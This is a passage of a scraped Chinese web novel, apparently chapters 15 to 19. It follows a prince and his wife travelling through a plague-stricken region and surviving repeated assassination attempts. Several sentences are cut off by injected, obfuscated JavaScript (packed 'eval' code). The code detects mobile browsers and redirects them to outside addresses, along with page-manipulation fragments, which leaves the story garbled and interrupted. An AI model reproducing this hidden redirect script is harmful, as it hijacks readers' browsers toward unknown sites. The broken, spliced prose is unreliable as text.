闻言,杜清烟脸上表情僵了一瞬,心跳莫名快了些。 夫君么? 是了,他是杜清烟的夫君,而她如今便是杜清烟。 思及至此,她心下释然,会心一笑:“夫君说的是。” 她的笑容有些晃眼,凤燕回微怔,有些不自在地别开眼,喉咙有些痒,他轻咳了两声。 杜清烟见他如此纯情,不由得轻笑出声,又不肯放过他,再次依偎进他怀中,将他的手中抓在手中,把玩着他修长的手指。 上一回施针后,他的又臂又恢复了许多,虽仍不能执剑动武,但已能握笔,此时他的右手能轻轻回握住她的手。 她觉得他的手真是好看,把玩尤不过瘾,突然想试试与他十指紧扣的感觉。 如此想着,她便付诸行动了。 凤燕回的目光从未离开过她,对她的动作更是放任,十指相扣,他微微蜷起手指与她扣得更紧了。 “去庆州这一路怕是不会太平,途中无论遇何种变故,任何时候你当以保全自身为先。” 他突然郑重其事与她叮嘱起来。 杜清烟含笑点头:“夫君大可安心,危急关头我不会给夫君拖后腿的。” 她十分清楚这一路不会顺畅,其中凶险谁也无法意料,她惜命得紧,危急关头定是要先保住小命。 而且她有绿竹保护,若真遇到险境,绿竹带她一人脱困应不是难事。 这并非凤燕回头一次说这样的话了。 此次他奉密旨前往平城,身边虽跟了数十护卫,且大多是以一敌百的大内高手,但一路上危机四伏,谁也不知会出什么意外。 她只有些三脚猫的功夫,遇上冷血杀手,她可不敢冲在他前面。 夜间,一行人在野外深林中休整,更深露重,凤燕回的身子也不能受凉,是以一行人在林中寻了一开阔之地搭起营帐。 随行护卫训练有素,片刻功夫便将几顶营帐扎了起来,凤燕回与杜清烟同住一处,他们的营帐在最中间。 杜清烟看着在深山老林中显得有些奢华的营帐,心中有些感慨。 这么瞧着,陛下对凤燕回这个儿子是十分上心的,虽有意磨炼,却又不忍心让他真风餐露宿,除了派了一堆高手护送,便是连营帐也是顶好的。 护卫分成几队,轮流值夜,卫雨带了两人前去探路,绿竹与卫风则守在营帐外,时刻警惕着。 杜清烟舍不得绿竹挨饿受冻,本欲将绿竹留在她与凤燕回的营帐中先对付一夜,但绿竹不肯,一大碗热腾腾的肉粥下肚后,绿竹便去帐外的火堆旁坐下,与卫风闲聊起来。 如此帐中便只有杜清烟和凤燕回二人了,夜间杜清烟倒是十分安分,出门在外一切从简,没有床榻,只有不算厚软的地毡,二人躺在上面,身上盖着床毯,相拥而眠还算暖和。 一路颠簸,杜清烟确实疲倦,不多时便在凤燕回怀中沉沉睡去,不知过了多久,一阵刀剑碰撞声将她惊醒,待她惊坐起身时才发现凤燕回已不在身边,帐中只有她一人。 睡意浓时被惊醒,她心情欠佳,揉了揉眉心,她又躺了回去,眼神冷冷地盯着帐顶。 若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14588250|154505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她有绿竹那样的身手,定是要提着剑冲出去砍那些扰她清梦的杀手的,可她此时什么也做不了,只能躲在这帐中。 许久后刀剑碰撞声渐渐消失,而她已在打斗声中再次入眠。 凤燕回立于帐门处,绿竹与卫风一左一右执剑护在他身旁,待一切平静下来,有护卫来报伤亡。 此次刺杀的杀手跑了几个,而他的护卫也折了几个。 他心知接下来的路会越发难行。 待他再回到杜清烟身旁躺下,她下意识便往他怀里钻,似是呓语般关怀道:“夜里凉,夫君莫要往外跑。” 凤燕回拥着她,低低应了声,随即闭上眼假寐。 此番倒也并非一无所获,卫风在其中一个刺客身上搜到一枚令牌。 一枚有崔家标记的令牌。 这一路上遇上的几次刺杀唯有此次有所收获,崔家的令牌出现在刺客身上令局面变得更加微妙了。 究竟是淑妃与璃王亦或是崔家欲对他下手,还是有人故意栽赃陷害,凤燕回懒得去想,只让卫雨安排人将令牌与今夜之事传回京中。 这些事便让父皇去头疼罢。 接下来的路途比预想中要顺利一些,未再遭遇刺客,但却在路上遇到了不少逃生的难民,离庆州越近,难民越多。 卫风与绿竹去打听后得知是与庆州城临近的凤安城时疫肆虐,城中数千百姓因时疫丧命,活着的人能逃的皆往外逃,只是离凤安最近的庆州紧闭城门不允许凤安逃出的难民进城。 而凤安的时疫爆发近两月,京中却未曾收到任何消息,这才是杜清烟与凤燕回最担忧的。 凤安出了这样大的事,却无人上报,这无论如何也是说不通的。 究竟是何人如此手眼通天,竟能将这样大的事压了近两月。 凤燕回思索良久,还是决定先到庆州。 “浓浓,眼下我们势单力薄,若是贸然去凤安恐会陷入险境,还是先到庆州了解情况再做打算。” 杜清烟同他想的一样。 只不过他们还未到庆州便又遇到了变故。 16. 平城之殇 离庆州越近,路上流民越多,老弱病残染了疫症又因饥饿倒在路上奄奄一息,微弱的哀吟求救声绵延几里。 随行护卫分为两队,一前一后将马车护在中间,一路上多次遇到有流民冲撞欲抢夺马车与干粮,皆被护卫摁住。 绿竹手持染血长剑骑在马上,护在马车旁,卫风骑马走在最前开路,一众护卫皆骑在马上,个个健硕威猛,肃杀之气吓得心怀不轨之人不敢再轻举妄动。 杜清烟虽心中悲悯,却也知晓此时的她与凤燕回救不了这些人。 马车内,两人皆沉默,凤燕回始终眉头紧锁,眼中满是忧色。 良久,凤燕回悠悠开口:“离京前林书琰曾提醒凤安生乱之事,那日入宫我已如实禀明父皇,可京中却无半点消息,是以父皇命我暗中查探虚实,眼下瞧着,情况远比预料中的糟糕许多,消息传到宫里最快也要两日,安置流民,控制染疫者迫在眉睫,只是眼下人手不够,只能尽快从长兴郡与庆州调派人马前来相助,两日前卫雨便前往庆州,若是顺利,今夜便会传来消息。” 杜清烟听他所言并未感到意外,那日她与林书琰和云瑶见面就知晓这些事。 调兵遣将之事她帮不上忙,至于别的,她在离京前就已安排妥当,只不过她原以为会随凤燕回一路前往平城,凤安之事只能交由别人来做。 当然,除了救灾济民外,她也想趁此机会为凤燕回造势,她所做的一切博得的好名声将尽数归于凤燕回头上。 此番阴差阳错她与凤燕回转道庆州,似乎是冥冥中自有天意。 而凤燕回也不负她的期望,遇事处变不惊,未雨绸缪。 可她所做之事眼下还是瞒着他为好,只待事成,给他个惊喜。 她问:“夫君有几成把握从庆州调到人手?” 凤燕回眉目稍展,轻轻握住她的手,温声道:“庆州守将秦毅秦将军乃贵妃娘娘的兄长,他们兄妹与我母后渊源颇深,且秦将军刚毅正直,心怀天下,必然不会袖手旁观的。” 杜清烟恍然大悟,回握住凤燕回的手,心中不由得更加佩服先皇后。 先皇后是个奇女子,在世时以贤德闻名,虽不在了,却给凤燕回留下诸多庇护。 前有贵妃,如今又有秦将军,这些先皇后的故人皆是凤燕回的后盾。 只不过杜清烟还有疑问:“如此说来,秦将军还是太子的舅父,他与太子间的关系应当更亲近些才是。” 这一路上遇到的几次刺杀,其中有无太子手笔无直接证据定论,但想来是有的。 太子凤燕霖在未被册立为东宫储君之前也不过是个不起眼的庶出皇子罢了,轮尊贵犹不及淑妃所出的璃王,若先皇后还在,如今的东宫储君无论如何也是轮不到凤燕霖的。 先皇后故去后,陛下未再立继后,即便凤燕回再不受宠,他也是嫡出,因着这层身份,他便是几位皇子的眼中钉肉中刺。 太子从不是宽厚良善之辈,凤燕回的嫡出身份于他而言更像是悬在头顶的一柄利刃。 而秦将军是太子名义上的舅父,若是他站在太子一边,那此番不知是否会真心相助。 这便是杜清烟所担忧的。 凤燕回道:“秦将军戎马半生,从不参与朝堂争斗,十年如一日守在庆州,与太子关系并不亲厚,否则太子也不会如此着急借姻亲拉拢兵部尚书。” 当日与杜清若一同入了太子府的那位侧妃正是兵部尚书之女。 传闻太子对侧妃一见倾心,成婚后更是对侧妃千依百顺,百般宠爱,这份宠爱究竟有几分真心实意就不得而知了。 杜清烟看得出来凤燕回对这位秦将军尊敬且信任,既然他如此笃定,那她也安心了不少。 此时卫风策马来到马车前禀报。 “主子,前方似有异动,属下带人前去查看。” 凤燕回淡淡应声后卫风便带了几人策马而去,杜清烟掀起帘子一角往外看去,路上竟没了流民踪迹,着实有些反常。 即便庆州城门关闭不让逃难之人进城的消息已传开,可离此处不远就是青云县,若是逃难,去往青云县的难民应当更多才是。 凤燕回显然与她想的一样,面色有些凝重。 “我下去瞧瞧。” 言毕,凤燕回掀帘下了马车,杜清烟也想跟着下车,被他拦了一下。 “前方有打斗声,别下来。” 杜清烟动作一顿,慢吞吞又坐了回去,坐在那车里视野受阻,倒是渐渐地她也听到了凤燕回说的打斗声。 不多时便有护卫前来求援。 “殿下,前方有一伙流寇作乱,打劫了一支商队,卫风统领派属下前来请示。” 凤燕回问:“匪冦有多少人?” 护卫急忙答:“流寇约莫有三四十人,青云县县衙派来护送商队的衙役有十数人,正拼死保护商队。” 闻言,杜清烟脸色一变,再也坐不住,掀帘而出,急声道:“夫君,无论如何也要护住商队。” 凤燕回并未多问,吩咐绿竹照看好马车,随即看了杜清烟一眼后亲自带人前去支援。 一半护卫随凤燕回而去,一半留下保护她,杜清烟不禁有些懊恼先前在凤燕回面前装柔弱太过。 好在凤燕回很快便回来了,他身后除了随行护卫,还有她让他定要救下的商队。 如她所料,正是林家运送救灾粮与药材的商队。 而带领衙役护送商队的竟是一个脸上有疤的女子,经过方才与流寇的厮杀,女子与衙役们身上皆有伤,瞧着有些狼狈。 杜清烟立即下了马车,吩咐护卫将马车车厢后绑着的木箱卸下,她与绿竹就地给受伤的人包扎伤口。 为首的女子身量与她差不多高,一身劲装,干练冷然,手握大刀,缺口大刀上血迹未干,刀锋射着寒光。 见杜清烟拿出药瓶与包扎用的布条,为首的女子上前恭敬地朝她行了一礼。 “多谢夫人。” 杜清烟扶起对方,发现她肩头与后背皆在渗血,忙将她拉向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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樊英再次跪在凤燕回面前,红了眼眶,声音哽咽:“城中出了奸细,在饮水中做了手脚,事发当夜,军中将士大半陷入昏迷,蛮夷十万大军将平城围困,将军与夫人命末将带人突围到庆州求援,可当末将一入凤安地界便遭遇截杀,待我赶到庆州见到秦将军时一切都晚了……” 樊英将头狠狠磕在地上,久久抬不起来。 凤燕回眼尾猩红,闭了闭眼,将悲痛掩藏,当年平城那一役的惨烈他虽未亲眼瞧见,却时常梦到尸山血海,他的师父师娘及一众将士浑身是血在他梦中望着他。 卫风在听完樊英叙述后便单膝跪了下去,一众护卫见状亦随着他一同下跪。 只有一直跟在杜清烟身边的绿竹发觉她的异样,在她身形微晃时不着痕迹伸手将其扶住,因着绿竹的支撑,杜清烟方能站稳。 樊英的话如同刀子扎在凤燕回心上,同样也扎在杜清烟心窝。 17. 天生一对 樊英带人求援途中遭遇截杀,同伴拼死相护她才得以活着逃脱,却受了重伤,幸得人所救捡回一条命,她不敢耽搁,向救她之人借了马匹直奔庆州。 可终究还是来不及了。 事后她曾回平城暗中找寻将军与夫人的下落,可她独自一人势单力薄,找了近一个月仍一无所获,之后她便如无主游魂般四处游荡,偶然间又遇到当初救她之人,便随他来了青云县。 而救她之人正是青云县新上任的县令陆槐安。 昨日林氏商行的掌柜突然找上陆槐安,言明林氏商行向凤安捐粮捐药之意,只是青云县附近近日时常有流匪作乱,恐商队护送的赈灾物资遭抢劫,遂求助县衙。 陆槐安是个好官,早在数月前凤安遭遇洪灾时便开设安置点收容凤安逃难而来的民众,可他只是小小县令,行事诸多受制。 长兴郡守听闻陆槐安收容凤安难民一事对他好一通责骂,严令不许陆槐安再多管闲事,青云县隶属长兴郡管辖,许多事陆槐安心有余而力不足。 数月前青云县外便有流匪作乱,来往商队与百姓苦不堪言,陆槐安有意剿匪,可他手中并无调兵之权,多次上报请求郡守调兵剿匪无果,他亦无可奈何,之后凤安也有逃难之人想到青云县寻一条活路,可大多丧命于流匪之手,消息传开后凤安出逃避难之人再不敢前往青云。 此次护送林氏商队之事乃樊英主动请缨,陆槐安原本打算亲自带人护送的,可眼下县衙离不了他,而且他一介书生手无缚鸡之力,若他护送,怕是越添越乱,最终不得不妥协让樊英带人护送。 歪打正着,樊英与商队遭流匪劫道时遇到了凤燕回。 樊英见到凤燕回时震惊不已,可想起平城之变后天家朝廷的所作所为,她顿时心凉了,这两年凤燕回不受皇帝待见她也有所耳闻,她不敢贸然向凤燕回表明身份。 凤燕回能认出她出乎她的意料,当看清楚跟在凤燕回身边的杜清烟的长相后,樊英才敢对凤燕回坦白一切。 见樊英的目光总是有意无意往杜清烟身上瞟,凤燕回有所察觉。 “你认识我夫人?” 樊英垂首,急忙解释:“卑职是头一回见夫人,只不过夫人长得与大将军有两分相像,故而多瞧了两眼。” 凤燕回不可置否笑了笑,旁若无人牵住杜清烟的手,低声问:“夫人觉得呢?” 杜清烟看了眼低着头不敢看凤燕回的樊英,随即嗔怪地看向凤燕回,“夫君何必吓唬樊姑娘,我长得与舅父有几分像实属正常,毕竟我母亲与舅父可是同胞亲兄妹。” 她四两拨千斤的话术打消了凤燕回的试探。 虽听出凤燕回话里有话,有意试探,但她反应很快,顺着将话接了下去,如此凤燕回也不好再试探下去。 她面上淡然从容,心中却有些慌乱。 她总觉得凤燕回对她的身份似乎起了疑,只是她仔细回想后更加确定在今日之前她与樊英并不认识。 樊英赶忙附和道:“殿下与夫人的亲事天下皆知,夫人是大将军的外甥女,卑职瞧见夫人不免有些失神,还望殿下恕罪。” 凤燕回自是不会与樊英计较这些,眼下情况危急在,正事要紧。 “樊姑娘此番辛苦,接下来会有人接手此事,姑娘可先行回县衙,再劳烦姑娘给县令捎句话。” 他对樊英的称呼也变了。 杜清烟知他有事要吩咐樊英,自觉退开了些,到一旁低声交代绿竹一些事。 她不方便与樊英有所接触,许多事就只能靠绿竹去打听。 方才瞧樊英那反应似乎是认识她,而且当真凤燕回的面樊英撒谎回避了。 凤燕回很快回到她身边,杜清烟朝他笑笑,“让樊姑娘与我们同行罢,这路上不太平,她又受了伤,一路上也好有个照应。” 她的提议凤燕回自然没有拒绝的道理,点了点头,再度牵着她的手,拉着她上了马车。 一行人浩浩荡荡往青云县而去,那些林氏商行捐的救济粮与药材也运回青云县。 马车晃晃悠悠,凤燕回主动与杜清烟说起了方才与流寇交手的事。 “那些人瞧着不像普通的流匪,倒像是冲着青云县来的。” 杜清烟蹙眉问:“让他们跑了?” 凤燕回道:“跑了两个,其余尽数绞杀。” 杜清烟笑了,打趣道:“夫君亲自出马竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601459|154505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然让匪宼活着逃了?” 她可不信那两人能活着离开,多半是他故意的。 凤燕回但笑不语,果然如今最了解他的人是她。 他与她当真是天生一对。 赶在天黑前进了县城,终于不用再住山林野外了,如今天气是越发冷了,特别夜里。 而且也到了为凤燕回再次药浴的时候。 进城后,一行人浩浩荡荡进了县衙,当年俊朗的县令出现在面前时,杜清烟忍不住多瞧了两眼。 白静文弱书生样,言谈举止谦逊优雅,与凤燕回交谈亦是不卑不亢,瞧气质不像是出自贫苦寒门。 得知樊英受伤后,陆槐安急忙向凤燕回告罪,叫师爷好生安顿随行的护卫,然后陆槐安亲自带凤燕回进了县衙内院。 “招待不周,还望殿下见谅。” 凤燕回道:“有劳陆大人了。” 陆槐安虽是读书人,但也不拘小节,“殿下言重了,下官该感激殿下才是,若非殿下出手相助,此番英娘与商队怕是凶多吉少。” 一声‘英娘’叫得有些妙,顿时吸引了杜清烟的目光,凤燕回也挑了挑眉。 “陆大人与樊姑娘似乎很是亲近。” 此言一出,陆槐安的脸顿时就红了。 “不瞒殿下,下官已准备向英娘提亲了。” 杜清烟打量起陆槐安来,提到樊英时,他的眼神里满是柔和,笑意晏晏,目光时不时往门口的方向看去,看上去有些心急。 凤燕回慢悠悠抿了口茶,之后一句话便让陆槐安笑不出来了。 “陆大人要娶一个来历不明的女子的为妻,父母族亲可会同意?” 陆槐安身形一抖,在凤燕回面前跪了下来,“殿下,英娘她并非来历不明,她是……” 凤燕回抬了抬手,制止了陆槐安想要说出口的话。 “陆大人与樊姑娘若是两情相悦,我与夫人定会成全。” 陆槐安闻言大喜过望,朝凤燕回行了一礼,又朝杜清烟作揖。 “多谢殿下。” “多谢夫人。” 杜清烟有些茫然,她明明一句话也没说,这样就被凤燕回给拉入局了。 18. 故人 从方才凤燕回的只言片语中,杜清烟隐约猜到一些,凤燕回与眼前这位陆大人是旧相识,且这位陆大人有些来头,否则凤燕回不会无缘无故问陆槐安欲娶樊英为妻一事是否告知父母族亲。 父母之命媒妁之言,结两姓之好,若陆槐安出身氏族,那他与樊英的亲事必是阻碍重重。 出身氏族,姓陆且又与凤燕回相识,杜清烟想到什么,下意识看向凤燕回。 凤燕回捕捉到她的目光,勾了勾唇,不再打哑谜,正事与她介绍起陆槐安。 “夫人,这位是陆家表兄陆槐安。” 杜清烟:“……” 陆槐安默默抚了抚胸口,暗自腹诽这位殿下还如幼年时那般爱捉弄人,只是现如今这位殿下捉弄起人来比幼年时吓人多了。 威严之姿,不苟言笑,一句话一个坑,生怕一不小心说错话被逮住把柄可就不好了。 这边陆槐安才松了口气,就见杜清烟对着她笑,顿时心又提到嗓子眼儿了。 “表兄安好。”她落落大方地与他示好。 陆槐安立即端正姿态,笑吟吟朝她拱手。 如此一来,关系顿时拉近了不少,杜清烟将夜里要为凤燕回药浴一事告知陆槐安,此处是陆槐安的地盘,很快他便吩咐人按照杜清烟的要求将浴桶备好。 很快一切准备就绪,陆槐安看杜清烟忙着摆弄瓶瓶罐罐,忙前忙后,而凤燕回则气定神闲在烛前看杂书,一副事不关己的闲散样。 陆槐安凑近了些,小声问:“殿下平日里一直如此?” 杜清烟这才扫了眼一脸悠闲的凤燕回,她莞尔一笑,“自成亲之日起殿下便是如此。” 陆槐安闻言欲言又止,憋了良久,只感叹了一句:“辛苦弟妹了。” 杜清烟惊讶看他,看他对凤燕回想劝又不敢的表情,知他误会了,却也未替凤燕回解释。 事实上她所做之事凤燕回帮不了一点,安静待在一边是这些时日以来两人之间养成的默契。 但在陆槐安看来,夫妻间更应该互相体谅,特别是出门在外,作为男子,更应当多爱护妻子,怎能心安理得静待妻子服侍。 即便凤燕回是皇子身份尊贵,可人后还得称他一声表兄不是,作为兄长,他少不得要提点两句。 思及至此,已抬起一只脚将要跨过门槛的陆槐安又收了脚,转身来到凤燕回面前,在凤燕回疑惑抬眸时,他深深叹了口气。 “殿下,恕我多言,这一路颠簸弟妹想必已是疲累至极,你……唉!” 陆槐安有些生气,可又碍于身份不好直言,唉声叹气一番后索性眼不见为净,大步离去,还不忘将房门关上。 凤燕回望着陆槐安离去的方向一脸莫名。 杜清烟笑着感慨道:“殿下的这位表兄倒是个性情中人,若日后樊姑娘真嫁了他,或许会是一桩令人艳羡的好姻缘。” 听她如此赞赏陆槐安,凤燕回眯了眯眼,随手将书扣在桌上,吃味道:“为夫病体残躯,日日劳烦夫人照料,嫁与为夫,当真是委屈夫人了。” 杜清烟嗔他一眼,没好气道:“殿下休要胡言。” 凤燕回笑了笑,起身走向她,正要从她身后伸手抱她,卫风的声音自门口传来。 “主子。” 不待凤燕回出声,对他的举动毫无所觉杜清烟率先开了口:“先将浴桶抬进来。” 卫风这才推门进来,两个护卫抬了浴桶进屋。 很快浴桶里灌满了热水,杜清烟示意凤燕回自行宽衣解带。 凤燕回却走到她跟前,抬起双臂,笑吟吟望着她,意图很明显,要她为他宽衣。 这两日他的右臂已能抬起,虽还是有些使不上力,但相较于之前好了太多,至少能动了,也不似先前那般疼痛难忍,夜里他也能踏实睡上一觉了。 杜清烟无奈失笑,伸手为他解开腰带,为他宽衣,衣袍一件一件褪去,她不觉得有什么,凤燕回却忽然按住她摸上他裤头的手。 烛光下,他俊脸微红,目光灼灼。 杜清烟尴尬一笑,收了手,走到一边去摆弄她的那堆瓶瓶罐罐,待听到他入水的动静后才转过身。 一如先前,她为他药浴施针,可今夜注定不会平静。 在她扎下最后一根针时,外面传来厮杀声,绿竹闻声赶来,在门口扬声告知外面的情况。 “姑娘,县衙走水了,有刺客夜袭,对方有备而来,殿下的护卫大半中了迷药,卫风与樊姑娘带人在前院与刺客缠斗,你与殿下要当心。” 说话间,绿竹手中的剑出鞘,挡下了两个打算往屋里冲的黑衣人。 接着便是一个接一个的黑衣人出现在院中,卫风与樊英带着几个护卫紧随其后,刀剑碰撞声清晰传入屋内。 此时杜清烟乏力地撑在浴桶边沿,汗水打湿了她的鬓角,她顾不得擦拭滚落的汗珠,踏着虚浮的步伐奔至桌前,将桌上那根事先备好的蜡烛点燃。 随着蜡烛点燃,一股奇异的香味在屋中弥漫开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617780|154505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她遂才松了口气,扶着桌子在椅子上坐下。 不多时,听到卫风急声大吼:“拦住他们,不能让他们进屋!” 可是有些迟了,房门被踹开,几个黑衣人闯了进来,而卫风等人被其他刺客缠住脱不开身。 “夫人,快带殿下离开。” 屋内杜清烟听着卫风着急的喊声心下无奈,且不说凤燕回眼下不能动,便是能动,她也无能为力。 她扛不动他,如何能将陷入昏睡的他带走。 几个黑衣人冲进屋看清屋里的情况后对视一眼,眼露凶光持刀冲向浴桶。 然而他们在离浴桶五步远的地方突然身躯麻木,栽倒在地。 卫风火急火燎冲到房门口就瞧见几个黑人倒地的一幕,鼻间嗅到屋内的异香,他猛地收住欲跨过门槛的脚,转身挥剑,一剑将身后的黑衣刺客劈倒。 这些时日以来的相处,卫风对杜清烟本事有些了解,且方才她特意叮嘱过,夜里无论发生什么,未听到她吩咐,任何人不得进屋。 想来夫人早已预料到今夜不太平,事先有了安排。 卫风放下心来,专心应对一波接一波往里冲的刺客。 缠斗许久,绿竹与樊英分身乏术,而樊英身上本就有伤,渐渐有些吃力。 陆槐安带着衙役冲进来时正好瞧见她手臂上挨了一刀,顿时脸色巨变,快速拉弓搭箭,利箭离弦正中与樊英打斗的黑衣人脖颈,血溅了樊英一脸。 二人在火光中遥遥相望,陆槐安朝她温润一笑,樊英则有些吃惊。 屋内,杜清烟就着衣袖擦了擦脸上的汗,忽闻窗户一声脆响,一个身形矫健的黑衣男子窜入屋中,手中长刀泛着寒光,看清屋内情况,似是愣了一下,几乎只是瞬间就锁定了浴桶中的凤燕回,一个起跃,长刀袭向凤燕回。 杜清烟也不知哪里来的力气,在对方长刀落下之前挡在了浴桶前,以身护着凤燕回。 黑衣人在看清她的脸那一瞬瞳孔微缩,长刀在离她头两寸之距时猛地偏离方向,强劲的刀风将她簪发的金钗震落,青丝如瀑披散开。 一身素衣的她青丝披散,如同误落凡间的仙子。 杜清烟缓缓睁开眼,对上黑衣蒙面人满是震惊的眼,这双眼睛她觉得有些熟悉。 她一动不动挡在凤燕回身前,黑衣男子快速收刀,急声问:“可有伤到?” 杜清烟经历方才那一遭,整个人都麻了,直到一双有力的大手扶住她的双肩,她才恢复些许知觉。 19. 同心 “是你。” 烛火摇曳,杜清烟的脸在光影中忽明忽暗,她看着眼前这双如鹰隼般锐利的眸子,方才对方急切的声音让她认出他是谁。 便也是认出他这一瞬间,她绷着的身子突然失力般软了下去,坐在了地上。 黑衣蒙面人欲伸手去扶她,此时他感觉到一股强劲的剑风从身后袭来,他急忙侧身险险避开。 卫雨剑招凌厉,气势如虹,一击未中再次灵活挥剑,在黑衣人右肩处划出一道口子,逼得他连连后退。 此时卫风与绿竹也奔了进来。 “主子!” “姑娘!” 黑衣人踉跄退到窗边,扭头深深瞧了失力坐在地上女子后才从窗口跳了出去。 绿竹急忙上去扶杜清烟。 “姑娘你受伤了?” 杜清烟挤出一抹笑,轻轻拍了拍绿竹的手背,安抚道:“我并未受伤,不过是方才的生死一线时脑子混沌了,手脚不听使唤。” 听到她说话时带着颤音,绿竹忙将她扶起,让她坐到椅子上缓一缓。 卫风与绿竹是一同进来的,进屋后直奔浴桶查看,看浴桶完好无损,浴桶中的人也睁开了眼,心下一喜。 “主子您醒了。” 听到卫风的话,杜清烟看向浴桶,见凤燕回真的醒了,她不免有些惊讶。 照常而言,他不该醒这么快的。 不知他是何时醒的,是否瞧见了方才的事,若是他听到黑衣刺客与她说的那两句话,多半会对她心生猜忌。 她努力这许久才让他放下心防渐渐信任她,她可不想功亏一篑。 杜清烟给绿竹使了个眼色,绿竹会意退了出去,她又看向卫风与卫雨。 卫风见她看过来,担忧问:“夫人,主子强行醒过来,可会对身子造成损伤?” 杜清烟支起身子,慢慢行至浴桶旁,卫风见状不用吩咐也知晓接下来是要为凤燕回诊脉,十分有眼力见儿地将凤燕回的手从浴桶中抬起,用帕子擦拭干净。 “夫人您请。” 杜清烟:“……” 而卫雨自进屋后也只在打退黑衣人后焦急地唤了凤燕回一声主子后便未再出声,只不过他审视的目光落在杜清烟身上是半点儿不曾隐藏。 便是卫风也察觉到异样,在杜清烟为凤燕回探脉时,卫风用手肘碰了一下卫雨,对他挤眉弄眼。 卫雨瞥他一眼,之后便不再盯着杜清烟了。 确定凤燕回无碍,杜清烟也松了口气,快速收了凤燕回身上的银针后让卫风卫雨将凤燕回从浴桶里扶出来,伺候他更衣,她则到屋外回避。 因着周围百姓加入救火,县衙的火很快便扑灭了,有陆槐安坐镇,县衙内并未乱作一团,一切井然有序,百姓救火之后各自散去,陆槐安回到樊英身边,看着她身上的伤,急得团团转,着急命人去寻大夫。 前后反差如此大,杜清烟只觉得这位陆大人当真是有趣。 杜清烟与绿竹低语几句,绿竹点了点头,随后走向陆槐安与樊英。 听绿竹说她家姑娘是大夫,陆槐安惊诧往过来,杜清烟只是微微颔首,陆槐安随即想到什么,下意识往凤燕回所在的屋子望去。 难怪先前在屋内只见她一人在忙活,原来她是大夫,竟是他错怪六殿下了,大夫手上的活一般人还真帮不上忙。 为樊英包扎伤口时杜清烟仔细瞧了她脸上的疤痕,樊英摸着脸上的疤痕,却笑着说无碍。 女子面容有损,又怎会真的不在意。 杜清烟自樊英屋内出来便瞧见守在外面的陆槐安,他换了身月牙白袍,谦谦君子,温文尔雅。 见她出来,他先是作揖以示感激之意,随即做了个噤声的手势的又指了指远处,示意她借一步说话。 原来他方才在屋外听到了她与樊英的谈话,想问她是否有法子替樊英祛除脸上的疤痕。 杜清烟问他是否介意樊英面容有损,他摇头道:“我自是不介意的,可英娘是女子,免不了遭人非议,若是有法子能治好她的脸,英娘定然也是欢喜的。” 便是他不问,她也是要为樊英调配去疤生肌的膏药的,见他对樊英的事如此上心,她便做个顺水人情好了,将献殷勤的机会给他。 见她点头答应,陆槐安面露喜色,对她又是千般感激万般言谢,许下承诺说日后定会报答,杜清烟微笑应下。 从樊英这儿离开后杜清烟先去看过凤燕回,他已沉沉睡去,卫风卫雨如两樽门神守在屋外,她去绿竹的屋打算与绿竹挤一挤对付一晚。 公鸡打鸣声声声入耳,眼瞧着天色将明,这一夜刀光剑影心惊肉跳,这通折腾下来,杜清烟倦乏得厉害,绿竹亦是,二人这一觉睡到日上三竿。 凤燕回一早便与陆槐安外出,身边只带了卫风卫雨,昨夜被药倒的那些护卫醒来便被安排修缮县衙的任务,这些护卫身强体健,干起活来半点不含糊,只一早上就昨夜烧毁的屋子重建,所有漏雨屋子的旧瓦尽数翻新,先前有些破旧的县衙一日焕新。 陆槐安身边的师爷望着焕然一新的县衙乐得合不拢嘴。 草草用过午膳后,杜清烟便由樊英带着去了林氏商行在此地的粮铺,她亮明身份后,掌柜恭恭敬敬迎她们进了内间。 再回到县衙已是一个时辰后,她们被县衙门口摆满的蔬菜瓜果震惊了一下,甚至还有活禽,鸡鸭鹅被绑了腿在地上扑腾, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 